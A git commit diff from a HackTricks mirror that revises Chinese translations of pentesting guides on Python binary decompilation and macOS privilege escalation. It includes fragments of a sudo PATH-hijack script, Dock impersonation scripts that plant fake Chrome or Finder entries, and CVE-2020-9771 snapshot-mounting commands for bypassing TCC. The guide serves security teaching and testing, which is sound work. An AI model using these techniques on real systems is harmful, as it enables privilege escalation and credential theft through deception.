mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['forensics/basic-forensic-methodology/specific-software-file
This commit is contained in:
Translator
parent
7e1739a591
commit
dceb2229bb
46 changed files with 2056 additions and 2127 deletions
Binary file not shown.
|
After Width: | Height: | Size: 1.6 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 36 KiB |
|
|
@ -400,6 +400,7 @@
|
|||
* [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
* [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
* [Golang](network-services-pentesting/pentesting-web/golang.md)
|
||||
* [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
|
||||
* [Grafana](network-services-pentesting/pentesting-web/grafana.md)
|
||||
* [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
|
||||
* [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
|
|
|
|||
|
|
@ -1,26 +1,26 @@
|
|||
# 反编译已编译的Python二进制文件（exe、elf）- 从.pyc文件中恢复
|
||||
# 反编译编译过的Python二进制文件（exe, elf）- 从.pyc中检索
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作，想在**HackTricks**上看到你的**公司广告**，或者想要获取**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑入不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 从编译的二进制文件到.pyc
|
||||
## 从编译过的二进制文件到.pyc
|
||||
|
||||
从一个**ELF**编译的二进制文件中，你可以使用以下方法**获取.pyc文件**：
|
||||
从一个**ELF**编译过的二进制文件，你可以用以下方法**获取.pyc**：
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
|
@ -39,38 +39,38 @@ pyi-archive_viewer <binary>
|
|||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
在一个编译的**Python可执行二进制文件**中，你可以通过运行以下命令来获取`.pyc`文件：
|
||||
在一个**python exe二进制文件**中，你可以通过运行以下命令来**获取.pyc文件**：
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## 从 .pyc 文件到 Python 代码
|
||||
## 从 .pyc 到 python 代码
|
||||
|
||||
对于 **.pyc** 数据（"编译"的 Python），您应该开始尝试 **提取** **原始的** **Python** **代码**：
|
||||
对于 **.pyc** 数据（“编译过的” python），你应该开始尝试**提取** **原始的** **python** **代码**：
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**确保**二进制文件的**扩展名**为“**.pyc**”（如果不是，uncompyle6将无法工作）
|
||||
**确保** 二进制文件的**扩展名**为 "**.pyc**"（如果不是，uncompyle6 将无法工作）
|
||||
|
||||
在执行**uncompyle6**时，您可能会遇到以下**错误**：
|
||||
在执行 **uncompyle6** 时，你可能会遇到**以下错误**：
|
||||
|
||||
### 错误：未知的魔术数字 227
|
||||
### 错误：未知魔数 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
要修复这个问题，你需要在生成的文件开头**添加正确的魔数**。
|
||||
要解决这个问题，你需要在生成的文件开头**添加正确的魔数**。
|
||||
|
||||
**魔数会随着Python版本的不同而变化**，要获取**Python 3.8**的魔数，你需要**打开一个Python 3.8**终端并执行以下命令：
|
||||
**魔数随 Python 版本而变化**，要获取 **Python 3.8** 的魔数，你需要**打开一个 Python 3.8** 终端并执行：
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
在这种情况下，Python 3.8 的**魔数**是**`0x550d0d0a`**，为了修复这个错误，你需要在**.pyc 文件**的**开头**添加以下字节：`0x0d550a0d000000000000000000000000`
|
||||
**魔数**在这个案例中对于python3.8是**`0x550d0d0a`**，然后，为了修复这个错误，你需要在**.pyc文件**的**开头** **添加**以下字节：`0x0d550a0d000000000000000000000000`
|
||||
|
||||
一旦你添加了这个魔数头，错误就应该被修复了。
|
||||
**一旦**你**添加**了那个魔数头部，**错误应该会被修复。**
|
||||
|
||||
这是一个正确添加的**.pyc Python 3.8 魔数头**的样子：
|
||||
这是一个正确添加的**python3.8 .pyc魔数头部**应该看起来的样子：
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
|
@ -80,21 +80,21 @@ hexdump 'binary.pyc' | head
|
|||
```
|
||||
### 错误：反编译通用错误
|
||||
|
||||
可能会出现其他错误，例如：`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`。
|
||||
**其他错误** 如：`class 'AssertionError'>; co_code 应该是以下类型之一 (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); 现在是 <class 'NoneType'>` 可能会出现。
|
||||
|
||||
这可能意味着您没有正确添加魔术数字，或者您没有使用正确的魔术数字，因此请确保使用正确的魔术数字（或尝试一个新的）。
|
||||
这可能意味着你**没有正确添加**魔术数字，或者你没有**使用**正确的魔术数字，所以请**确保你使用了正确的魔术数字**（或尝试一个新的）。
|
||||
|
||||
请查看前面的错误文档。
|
||||
检查之前的错误文档。
|
||||
|
||||
## 自动化工具
|
||||
## 自动工具
|
||||
|
||||
该工具[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)将几个可用于社区的工具（py2exe和pyinstaller）组合在一起，帮助研究人员解包和反编译用Python编写的可执行文件。
|
||||
工具 [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) 将社区可用的几个工具结合起来，**帮助研究人员解包和反编译**用python编写的可执行文件（py2exe 和 pyinstaller）。
|
||||
|
||||
有几个YARA规则可用于确定可执行文件是否是用Python编写的（此脚本还会确认可执行文件是使用py2exe还是pyinstaller创建的）。
|
||||
有几个YARA规则可用于确定可执行文件是否用python编写（此脚本还确认可执行文件是否用py2exe或pyinstaller创建）。
|
||||
|
||||
### ImportError: 文件名：'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
|
||||
### ImportError：文件名：'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
|
||||
|
||||
目前，使用unpy2exe或pyinstxtractor获取的Python字节码文件可能不完整，因此无法被uncompyle6识别并获取纯Python源代码。这是由于缺少Python字节码版本号引起的。因此，我们添加了一个prepend选项；这将在其中包含一个Python字节码版本号，并有助于简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时，会返回一个错误。然而，一旦我们使用prepend选项，我们可以看到Python源代码已经成功反编译。
|
||||
目前，使用unpy2exe或pyinstxtractor时，我们得到的Python字节码文件可能不完整，因此它**无法被uncompyle6识别以获取纯Python源代码**。这是由于缺少Python**字节码版本号**造成的。因此，我们加入了一个prepend选项；这将在其中包含一个Python字节码版本号，并帮助简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时，它返回一个错误。然而，**一旦我们使用了prepend选项，我们可以看到Python源代码已经成功地被反编译**。
|
||||
```
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
|
|
@ -110,9 +110,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## 分析Python汇编代码
|
||||
## 分析Python汇编
|
||||
|
||||
如果你无法在之前的步骤中提取出Python的“原始”代码，那么你可以尝试提取汇编代码（但它并不是非常描述性的，所以尽量再次提取原始代码）。在[这里](https://bits.theorem.co/protecting-a-python-codebase/)，我找到了一个非常简单的代码来反汇编.pyc二进制文件（祝你理解代码流程好运）。如果.pyc文件是Python2的，请使用Python2：
|
||||
如果您按照前面的步骤未能提取Python的“原始”代码，那么您可以尝试**提取** **汇编**代码（但是**它不是很描述性**，所以**尝试**再次提取原始代码）。在[这里](https://bits.theorem.co/protecting-a-python-codebase/)，我找到了一个非常简单的代码来**反汇编** _.pyc_ 二进制文件（祝您好运理解代码流程）。如果_.pyc_是来自python2，请使用python2：
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
|
@ -155,15 +155,15 @@ True
|
|||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python转可执行文件
|
||||
## Python 转 Executable
|
||||
|
||||
首先，我们将展示如何使用py2exe和PyInstaller编译有效载荷。
|
||||
首先，我们将展示如何使用 py2exe 和 PyInstaller 编译有效载荷。
|
||||
|
||||
### 使用py2exe创建有效载荷的步骤：
|
||||
### 使用 py2exe 创建有效载荷：
|
||||
|
||||
1. 从[http://www.py2exe.org/](http://www.py2exe.org)安装py2exe软件包。
|
||||
2. 对于有效载荷（在本例中，我们将其命名为hello.py），使用类似图1中的脚本。选项“bundle\_files”值为1将把包括Python解释器在内的所有内容打包成一个可执行文件。
|
||||
3. 脚本准备好后，我们将发出命令“python setup.py py2exe”。这将创建可执行文件，就像图2中所示。
|
||||
1. 从 [http://www.py2exe.org/](http://www.py2exe.org) 安装 py2exe 包。
|
||||
2. 对于有效载荷（在此例中，我们将其命名为 hello.py），使用类似图 1 中的脚本。选项 “bundle_files” 的值为 1 会将包括 Python 解释器在内的所有内容打包进一个 exe 文件。
|
||||
3. 脚本准备好后，我们将执行命令 “python setup.py py2exe”。这将创建可执行文件，就像图 2 中展示的那样。
|
||||
```
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
|
@ -191,10 +191,10 @@ running py2exe
|
|||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### 使用PyInstaller创建有效载荷的方法：
|
||||
### 使用 PyInstaller 创建有效载荷：
|
||||
|
||||
1. 使用pip安装PyInstaller（pip install pyinstaller）。
|
||||
2. 然后，我们将发出命令“pyinstaller –onefile hello.py”（提醒一下，'hello.py'是我们的有效载荷）。这将把所有内容捆绑到一个可执行文件中。
|
||||
1. 使用 pip 安装 PyInstaller（pip install pyinstaller）。
|
||||
2. 安装后，我们将执行命令 “pyinstaller --onefile hello.py”（提醒一下，‘hello.py’ 是我们的有效载荷）。这将把所有内容打包成一个可执行文件。
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
|
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑掉那些不可黑的东西 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -221,10 +221,10 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要获得**PEASS最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方的PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -1,28 +1,28 @@
|
|||
# macOS特权升级
|
||||
# macOS 权限提升
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过提交 PR 到**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## TCC特权升级
|
||||
## TCC 权限提升
|
||||
|
||||
如果你来到这里是为了寻找TCC特权升级，请转到：
|
||||
如果你是为了寻找 TCC 权限提升而来，请前往：
|
||||
|
||||
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||||
[macos-tcc](macos-security-protections/macos-tcc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Linux特权升级
|
||||
## Linux 权限提升
|
||||
|
||||
请注意，**大多数关于特权升级的技巧对Linux/Unix同样适用于MacOS**机器。所以请参考：
|
||||
请注意，**大多数影响 Linux/Unix 的权限提升技巧也会影响 MacOS** 机器。所以请查看：
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
|
|
@ -30,11 +30,11 @@
|
|||
|
||||
## 用户交互
|
||||
|
||||
### Sudo劫持
|
||||
### Sudo 劫持
|
||||
|
||||
你可以在[Linux特权升级文章中找到原始的Sudo劫持技术](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
|
||||
你可以在 [Linux 权限提升文章中找到原始的 Sudo 劫持技术](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
|
||||
|
||||
然而，macOS在用户执行**`sudo`**时会**保留**用户的**`PATH`**。这意味着实现此攻击的另一种方法是**劫持受害者在运行sudo时执行的其他二进制文件**：
|
||||
然而，macOS 在执行**`sudo`**时**保持**用户的**`PATH`**。这意味着实现这种攻击的另一种方法是**劫持其他**受害者在**运行 sudo 时会执行的二进制文件：**
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
|
|
@ -49,17 +49,17 @@ chmod +x /opt/homebrew/bin/ls
|
|||
# victim
|
||||
sudo ls
|
||||
```
|
||||
请注意，使用终端的用户很可能已经安装了**Homebrew**。因此，有可能劫持**`/opt/homebrew/bin`**中的二进制文件。
|
||||
请注意，使用终端的用户很可能已经**安装了Homebrew**。因此，可以劫持位于**`/opt/homebrew/bin`**中的二进制文件。
|
||||
|
||||
### Dock冒充
|
||||
### Dock 伪装
|
||||
|
||||
通过一些**社会工程学**手段，你可以在Dock中冒充例如Google Chrome，并实际执行你自己的脚本：
|
||||
利用一些**社会工程学**技巧，你可以在dock中**伪装成例如Google Chrome**，实际上执行你自己的脚本：
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Chrome冒充" %}
|
||||
{% tab title="Chrome 伪装" %}
|
||||
一些建议：
|
||||
|
||||
* 在Dock中检查是否存在Chrome，如果存在，则**删除**该条目，并在Dock数组的相同位置**添加**一个**伪造的Chrome条目**。
|
||||
* 检查Dock中是否有Chrome，如果有，**移除**该项，并在Dock数组中**添加**一个**假的** **Chrome项**，放在相同的位置。 
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
|
@ -129,11 +129,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
|||
sleep 0.1
|
||||
killall Dock
|
||||
```
|
||||
{% tab title="模拟Finder" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Finder 伪装" %}
|
||||
一些建议：
|
||||
|
||||
* 你**不能从Dock中移除Finder**，所以如果你要将其添加到Dock中，你可以将假的Finder放在真正的Finder旁边。为此，你需要**在Dock数组的开头添加假的Finder条目**。
|
||||
* 另一个选项是不将其放在Dock中，只是打开它，“Finder要求控制Finder”并不那么奇怪。
|
||||
* 你**不能从 Dock 中移除 Finder**，所以如果你要把它添加到 Dock，你可以把假的 Finder 放在真正的 Finder 旁边。为此，你需要**在 Dock 数组的开头添加假 Finder 条目**。
|
||||
* 另一个选项是不把它放在 Dock 上，只是打开它，“Finder 请求控制 Finder”并不奇怪。
|
||||
* 另一个不通过可怕的对话框**升级到 root 而不询问**密码的选项是，让 Finder 真的请求密码来执行特权操作：
|
||||
* 要求 Finder 复制一个新的 **`sudo`** 文件到 **`/etc/pam.d`**（提示要求输入密码将表明“Finder 想要复制 sudo”）
|
||||
* 要求 Finder 复制一个新的 **授权插件**（你可以控制文件名，所以提示要求输入密码将表明“Finder 想要复制 Finder.bundle”）
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
|
@ -206,13 +211,12 @@ killall Dock
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## TCC - 提权
|
||||
## TCC - Root 权限提升
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC绕过和提权
|
||||
|
||||
**任何用户**（即使是非特权用户）都可以创建和挂载一个时间机器快照，并**访问该快照的所有文件**。\
|
||||
唯一需要的特权是所使用的应用程序（如`Terminal`）需要具有**完全磁盘访问权限**（FDA）（`kTCCServiceSystemPolicyAllfiles`），这需要由管理员授予。
|
||||
### CVE-2020-9771 - mount\_apfs TCC 绕过和权限提升
|
||||
|
||||
**任何用户**（即使是非特权用户）都可以创建并挂载时间机器快照并**访问该快照的所有文件**。
|
||||
所需的**唯一权限**是应用程序（如 `Terminal`）需要有**完全磁盘访问**（FDA）权限（`kTCCServiceSystemPolicyAllfiles`），这需要由管理员授权。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -236,28 +240,24 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
|
||||
|
||||
## 敏感信息
|
||||
|
||||
这对于提升特权很有用：
|
||||
这可以用来提升权限：
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
###
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
